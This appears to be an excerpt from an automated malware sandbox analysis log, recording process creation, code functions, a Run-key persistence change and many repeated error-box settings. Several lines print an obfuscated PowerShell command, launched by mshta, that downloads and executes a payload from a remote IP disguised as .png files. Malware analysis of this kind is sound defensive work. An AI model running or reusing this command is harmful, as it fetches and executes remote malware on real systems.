Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4C8500BD pushad ; iretd	0_2_00007FFB4C8500C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFB4C852315 pushad ; iretd	0_2_00007FFB4C85232D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4C86B4FC push ebx; retf	4_2_00007FFB4C86B4FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4C86C8AC pushad ; iretd	4_2_00007FFB4C86C8AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4C8600BD pushad ; iretd	4_2_00007FFB4C8600C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4C932D79 push edx; retf	4_2_00007FFB4C932D9A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFB4C88B4FC push ebx; retf	6_2_00007FFB4C88B4FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFB4C88C8AC pushad ; iretd	6_2_00007FFB4C88C8AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFB4C8800BD pushad ; iretd	6_2_00007FFB4C8800C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFB4C882315 pushad ; iretd	6_2_00007FFB4C88232D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB4C85B4FC push ebx; retf	8_2_00007FFB4C85B4FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB4C85C8AC pushad ; iretd	8_2_00007FFB4C85C8AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB4C8500BD pushad ; iretd	8_2_00007FFB4C8500C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFB4C852315 pushad ; iretd	8_2_00007FFB4C85232D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0651368B push ebp; ret	12_2_0651368D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_065136BF push ebp; ret	12_2_065136C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0043A6F5 push esi; retf	14_2_0043A6FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_00441860 push eax; mov dword ptr [esp], 424D4C7Fh	14_2_00441864

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run NULL			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run NULL			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
